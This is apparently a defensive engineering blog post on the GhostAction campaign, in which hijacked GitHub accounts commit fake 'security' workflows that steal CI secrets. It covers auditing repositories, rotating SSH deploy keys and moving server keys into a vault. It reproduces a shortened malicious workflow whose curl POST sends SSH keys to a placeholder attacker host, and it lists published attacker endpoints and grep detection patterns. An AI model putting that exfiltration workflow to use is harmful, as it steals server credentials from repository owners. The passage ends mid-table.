← All articles

Engineering

GitHub Actions Secrets Security for SSH Deploy Keys

GitHub Actions secrets security after GhostAction: audit your repos, rotate SSH deploy keys and move server keys out of CI into a vault.

github-actions-secrets-security-ghostaction-featured

GhostAction Is Stealing CI/CD Secrets: GitHub Actions Secrets Security for SSH Deploy Keys GitHub Actions secrets security after GhostAction: how fake security workflows steal SSH keys, how to audit your repos, and how to move server keys into a vault.

By PlainShip engineering · SSH deployment and server operations · 21 November 2026 · 20 min read

Last verified: 2026-11-21

A commit lands in your repository on a quiet afternoon. Its message reads "Add Github Actions Security workflow" and it carries your name. You did not write it.

That is GhostAction. It is the clearest test of GitHub Actions secrets security we have seen in years. The workflow does not break GitHub; it simply asks your pipeline for your secrets.

Why should SSH teams care most? In the 2026 wave, SSH keys and server credentials topped the target list. Malicious workflows named 446 of them (GitGuardian, 2026).

Does your pipeline log in to a VPS with a secret like VPS_SSH_KEY? Then this post is for you.

Short answer: GhostAction uses stolen GitHub credentials to commit a fake "security" workflow. That workflow reads your secrets and sends them out with one curl request. So protect accounts, gate secrets, rotate exposed keys and keep server keys out of CI.

What does this guide do differently? We stick to what researchers published. Then we give you an audit checklist and a rotation runbook.

Finally, we show how to move keys into a vault. First, a quick note on terms.

GitHub uses "deploy key" for a key that lets a server pull one repository. In this guide, "SSH deploy key" also covers the key your pipeline uses to reach a server. That second kind is what GhostAction collected most.

Table of Contents What happened in the GhostAction campaign?

How fake security workflows steal secrets

Why a stolen account beats stored secrets

Actions secrets vs an encrypted vault

Where your SSH key really lives

An audit checklist for your repos

How to rotate SSH keys without downtime

Moving keys out of CI into a vault

Before and after: an illustrative case

Troubleshooting

How PlainShip helps

Conclusion

Frequently asked questions

References

Key Takeaways GhostAction is account takeover, not a GitHub bug. Attackers commit with stolen maintainer credentials.

SSH keys were the top target. Server keys and server credentials led the 2026 list with 446 secrets.

Write access means secret access. Any collaborator with write access can read repository secrets.

Environments are your first gate. Reviewers and branch rules keep secrets away from rogue workflows.

Rotation alone is not enough. You must also revoke the GitHub credential the attacker used.

Keep CI for build and test. Hold long-lived server keys in an encrypted secrets vault for DevOps instead.

What Happened in the GhostAction Campaign? It started small. On September 2, 2025, a maintainer account pushed a commit to FastUUID (GitGuardian, 2025). The commit added one workflow file that sent a PyPI token to a remote server.

The first wave in 2025 GitGuardian then found the same commit in many other repositories. In total, the campaign hit 327 GitHub users and 817 repositories (GitGuardian, 2025).

It exfiltrated at least 3,325 secrets. These included PyPI, npm, DockerHub and AWS credentials.

However, the FastUUID response was fast. PyPI moved the project to read-only on the day of the report. The researchers found no malicious package release.

The 2026 waves Then it came back. Between August 31 and September 30, 2026, the workflow reached 772 public repositories. Those belonged to 373 users and organizations (GitGuardian, 2026).

Every commit used the victim's own identity. Additionally, GitGuardian found that GhostAction never fully stopped. In 92 cases, attackers simply updated a workflow left over from an earlier wave.

In October 2026, a faster burst followed. GitGuardian's data shows more than 30,000 repositories targeted, across about 3,000 users and organizations. This time, the file was named "Security Audit" instead.

Wave Period Repositories Secrets Source First Sept 2025. 817. At least 3,325 exfiltrated. GitGuardian, 2025. Return Aug 31 to Sept 30, 2026. 772. 2,577 targeted. GitGuardian, 2026. Burst Oct 8 to 12, 2026. 30,000+. 3,174 targeted. GitGuardian, 2026. The numbers are not the point. The pattern is. A trusted-looking file, committed by a trusted account, quietly reads secrets.

How Fake "Security Audit" Workflows Steal Secrets The trick is simple. Here is the shape of the 2026 workflow, shortened from GitGuardian's write-up. Do not run it.

# .github/workflows/github_actions_security.yml (malicious example - do not run) name: Github Actions Security on: workflow_dispatch: push: jobs: send-secrets: runs-on: ubuntu-latest steps: - name: Github Actions Security run: | curl -s -X POST \ -d 'VPS_HOST=${{ secrets.VPS_HOST }}&VPS_SSH_KEY=${{ secrets.VPS_SSH_KEY }}&VPS_USER=${{ secrets.VPS_USER }}' \ http://<attacker-ip> Step 1: steal an account First, the attacker gets a maintainer's GitHub credentials. GitGuardian believes many come from older leaks and dumps. Stolen tokens get traded, so several attackers may hold the same one.

Step 2: copy your secret names Next, the attacker reads your existing workflows. Every ${{ secrets.NAME }} reference tells them what to ask for. They paste those exact names into the fake workflow.

Step 3: let your own pushes run it The workflow triggers on push. So every later commit you make can run it again. In fact, most 2026 runs came from legitimate pushes after the injection.

Step 4: harvest more than secrets The October "Security Audit" version went further. It checked out the full git history and scanned it with 11 secret patterns (GitGuardian, 2026). As a result, an old key committed years ago could leak too.

A name like "security" or "audit" is camouflage, not a credential. Review the file, not the title.

Why GitHub Actions Secrets Security Breaks When an Account Is Stolen Encryption held. GitHub encrypts secrets and masks them in logs. So why did this work?

The workflow asked for the secrets the normal way. GitHub's guidance is blunt: anyone with write access can read all repository secrets (GitHub Docs). A stolen maintainer account has write access by definition.

Repository secrets follow the code, not the branch Any branch will do. Repository secrets are available to workflows on every branch. Therefore an attacker does not need to touch main at all.

Branch protection on main does not stop that. Environment secrets with branch rules do. A job cannot read an environment's secrets until its rules pass (GitHub Docs).

Masking does not stop exfiltration Log masking hides values in the run output. However, curl sends the raw value to another server. The log stays clean while the key leaves.

Long-lived keys turn one leak into many An SSH private key has no expiry date. GitHub notes the same for deploy keys (GitHub Docs). A key stolen in 2025 still works in 2026 if nobody rotated it.

That matches what GitGuardian saw. Some October victims had also been hit in earlier waves. Unrotated secrets keep paying the attacker.

GitHub Actions Secrets vs an Encrypted Secrets Vault for DevOps Where should keys live? Here is how the common options compare for SSH deploy key security.

Option Who can read it Expiry Fits SSH to a VPS? Repository secret Any workflow on any branch. Anyone with write access. None. Yes, but widely exposed. Environment secret with reviewers Only approved jobs on allowed branches. None. Yes, behind a review gate. OIDC short-lived token Only jobs that match your trust rules. Short-lived. Cloud APIs, not raw SSH. SSH certificate from your own CA Holders of a valid signed certificate. You choose, such as one hour. Yes, after CA setup. Encrypted secrets vault for DevOps Named people and jobs inside the vault. Depends on the tool. Yes, when the vault runs the SSH job. OIDC is the best answer for cloud APIs. GitHub recommends it to remove long-lived cloud keys from Actions secrets (GitHub Docs, 2026). But a plain VPS has no OIDC trust to configure.

That leaves three real choices for SSH. First, gate the key behind an environment. Second, issue short-lived SSH certificates.

Third, let a separate tool hold the key and run the deploy. There is one plan limit to know, though.

On Free, Pro and Team plans, required reviewers only work on public repos (GitHub Docs, 2026). Many private repos cannot use the review gate at all.

What short-lived SSH certificates look like OpenSSH can trust a certificate authority instead of single keys. You sign a key for a short window. After that window, the certificate stops working on its own.

# On a protected signing host: sign the deploy key for one hour, user "deploy" only ssh-keygen -s ./deploy_ca -I deploy-2026-11-21 -n deploy -V +1h ./deploy_key.pub

# On each server, once: trust the CA public key in /etc/ssh/sshd_config # TrustedUserCAKeys /etc/ssh/deploy_ca.pub sudo systemctl reload ssh # the unit may be "sshd" on your distribution The CA key then becomes your crown jewel. Keep it off CI runners and out of repositories.

Pick the option that removes the key from the most places. Fewer copies mean fewer leaks.

GitHub Actions Secrets Security Architecture: Where Your SSH Key Lives Start with the top half. Most SSH deploy setups look like it, and the bottom half shows where we want to get.

BEFORE: the server key lives in CI ┌──────────────┐ stolen ┌────────────────┐ any push ┌─────────────────────┐ │ Maintainer │─token──►│ GitHub repo │─────────►│ Workflow on any │ │ account │ │ VPS_SSH_KEY │ │ branch reads secret │ └──────────────┘ └────────────────┘ └──────────┬──────────┘ │ ssh or curl ┌──────────▼──────────┐ │ Prod VPS, or the │ │ attacker's server │ └─────────────────────┘

AFTER: CI builds, the vault deploys ┌──────────────┐ push ┌────────────────┐ artifact ┌─────────────────────┐ │ Developer │────────►│ GitHub Actions │─────────►│ Release artifact │ │ 2FA + review │ │ build and test │ │ or git ref │ └──────────────┘ │ no server key │ └──────────┬──────────┘ └────────────────┘ │ approved deploy ┌──────────▼──────────┐ │ Encrypted vault and │ │ deploy runner │ └──────────┬──────────┘ │ ssh, restricted key ┌──────────▼──────────┐ │ Prod VPS │ └─────────────────────┘ What changes in the after picture First, the workflow never sees the server key. A fake workflow can only steal what its job can read.

Next, a deploy needs an approval or a named person. Finally, the key is restricted on the server too.

What does not change You still need secure GitHub accounts. A stolen account can still push bad code. Moving the key shrinks the blast radius; it does not replace code review.

GitHub Actions Secrets Security Audit Checklist for Your Repos Run this checklist this week. Start with repositories that hold server or cloud credentials.

1. Look for injected workflows Search every repository for the known file names and commit messages. Check every branch, not just the default one.

# Known GhostAction indicators (GitGuardian, 2025-2026) ORG=your-org gh search commits "Add Github Actions Security workflow" --owner "$ORG" gh search commits "Update Github Actions Security workflow" --owner "$ORG"

# Inside each cloned repo: check every remote branch for suspicious workflow files git fetch --all --quiet for b in $(git branch -r | grep -v HEAD); do git ls-tree -r --name-only "$b" -- .github/workflows \ | grep -Ei 'github_actions_security|security-audit|security-check' \ | sed "s|^|$b: |" done

# Flag any workflow on this branch that posts secrets with curl or wget grep -rnE '(curl|wget).*secrets\.' .github/workflows || echo "no direct secret posts found" 2. Search for known endpoints Search workflow files and run logs for the published endpoints. These include 193.32.204.199, 170.39.218.2 and carte-avantage.com, plus two plesk.page hosts (GitGuardian, 2026). Attackers can change endpoints anytime, so a clean search proves little.

3. Inventory secrets and keys List what each repository can read. Then ask who owns each secret and whether it is still needed.

REPO=your-org/your-repo gh secret list --repo "$REPO" # repository secrets gh secret list --repo "$REPO" --env production # environment secrets gh secret list --org your-org # organization secrets gh repo deploy-key list --repo "$REPO" # repository deploy keys gh run list --repo "$REPO" --limit 100 # look for unknown workflow names From the PlainShip team: the riskiest key is rarely the newest one. It is the key nobody remembers creating, still accepted by production. So start your audit on the server, in authorized_keys.

4. Check the accounts, not just the repos Review the security log of every maintainer account. Remove unknown SSH keys, tokens and OAuth apps. Then turn on two-factor authentication for everyone with write access.

5. Protect the workflow folder Add .github/workflows/ to a CODEOWNERS file. Then workflow edits need review (GitHub Docs). Also set the default GITHUB_TOKEN to read-only.

However, CODEOWNERS only protects reviewed branches. It cannot stop a workflow on a brand-new branch. That is why the environment gate and key removal matter more.

6. Alert on the next attempt GhostAction came back months later, so plan for a repeat. Watch for new files under .github/workflows/ on any branch.

Also watch for runs of workflows nobody recognizes. A failed or held run is a useful early signal, not noise.

Finally, write down who rotates which key. During an incident, that list saves hours of guessing.

How Do You Rotate SSH Deploy Keys Without Downtime? Rotation is safe when keys overlap. Add the new key, switch to it and test, then remove the old one. Our guide to keeping SSH deploy keys out of laptops covers ownership.

The safe rotation order Follow this order on each server. The comments explain each step.

# 1. Create a new key with a clear, dated comment ssh-keygen -t ed25519 -N "" -C "deploy@prod-2026-11" -f ./deploy_2026_11

# 2. Install it with restrictions: one line in authorized_keys # restrict = no forwarding, no pty; from= limits source IPs you control echo "restrict,from=\"203.0.113.10\" $(cat deploy_2026_11.pub)" \ | ssh deploy@prod "cat >> ~/.ssh/authorized_keys"

# 3. Update the secret in the gated environment, or in your vault gh secret set VPS_SSH_KEY --repo your-org/your-repo --env production < deploy_2026_11

# 4. Run one deploy, then remove the old key by its comment ssh deploy@prod "sed -i.bak '/deploy@prod-2025/d' ~/.ssh/authorized_keys"

# 5. Prove the old key is dead, and look for past use ssh -i ./old_deploy_key -o BatchMode=yes deploy@prod true || echo "old key rejected" ssh-keygen -lf ./old_deploy_key.pub # fingerprint to search for in auth logs ssh deploy@prod "sudo journalctl -u ssh --since '2025-09-01' | grep 'Accepted publickey'" The restrict and from= options come from OpenSSH (sshd manual). GitHub-hosted runners use many IP addresses. So from= fits a fixed deploy host or vault runner better.

Rotate everything the workflow named Do not stop at the SSH key. Rotate every secret an injected workflow lists. Include hostnames and usernames that travel with keys.

Then revoke the GitHub credential the attacker used. GitGuardian is clear that stolen credentials are often reused by several attackers. If you only rotate leaked secrets, someone can inject the next workflow.

Treat the server as suspect A leaked key may already have been used. So review auth logs for logins from unknown addresses. On some distributions, the unit is sshd rather than ssh.

Step-by-Step: A GitHub Actions Secrets Security Hardening Plan Now move keys out of CI. Write the plan into your runbook, so the next rotation is boring. Our server deployment runbook guide shows a simple format.

Contain and take stock Stop the leak. Remove injected workflows from every branch. Revoke the stolen credential and rotate named secrets.

Inventory what remains. List repository, environment and organization secrets. Record an owner and purpose for each.

Split build from deploy. Keep GitHub Actions for build and test. Remove VPS_SSH_KEY from build workflows entirely.

Redesign the deploy path Gate what must stay. Move remaining deploy secrets into an environment. Add required reviewers and block self-review.

Use OIDC for cloud APIs. Replace long-lived AWS, Azure or Google Cloud keys with short-lived tokens.

Move server keys into a vault. Let the vault or deploy tool open the SSH session. CI only sends a narrow trigger.

Restrict keys on the server. Use one key per environment. Add restrict, plus from= where source IPs are fixed.

Watch and rehearse. Alert on failed jobs and new sign-ins. Rehearse a key rotation every quarter.

The build-only workflow Here is what CI can look like after step 6. Notice that no server key appears anywhere.

# .github/workflows/build.yml - CI builds and tests; it never sees a server key name: build on: push: branches: [main] permissions: contents: read # read-only GITHUB_TOKEN by default jobs: test: runs-on: ubuntu-latest steps: - uses: actions/checkout@<full-length-commit-sha> # pin actions to a SHA, not a tag - run: make test - run: make build deploy: needs: test runs-on: ubuntu-latest environment: production # required reviewers and branch rules apply here steps: - run: ./scripts/trigger-deploy.sh # asks your deploy tool to ship; no SSH key here env: DEPLOY_TRIGGER_TOKEN: ${{ secrets.DEPLOY_TRIGGER_TOKEN }} The trigger token still matters. However, it can only start an approved deploy, not open a shell. GitHub's hardening guidance also says to pin actions to a full commit SHA.

The goal is simple: a CI/CD secrets leak should never include a server login.

Case Study: Before and After GitHub Actions Secrets Security Hardening This case is illustrative. It is not a customer story, and all figures describe the example.

The starting point Picture a two-engineer SaaS on two VPS hosts. It deployed with an SSH step inside GitHub Actions. One production key lived as VPS_SSH_KEY in three repositories.

Both engineers also kept a copy on their laptops. The key was about three years old, with no server-side limits. Consequently, a GhostAction-style workflow in any repo could take it.

The changes First, the team rotated the key and revoked old tokens. Next, they moved deploys out of the workflow. CI now builds and tests, then triggers an approved deploy.

Finally, the new key lives in one vault. On the server, it carries restrict and a from= rule for the deploy runner.

Metric Before After Prod key copies Five: three repos, two laptops. One, in the vault. Workflows that can read the key Any workflow on any branch. None. Key age About three years. New, with a 90-day rotation plan. Server-side limits on the key None. restrict and from= set. Who can deploy or roll back Anyone who edits the YAML. Named people with vault roles. Effort

GitHub Actions Secrets Security for SSH Deploy Keys | PlainShip Blog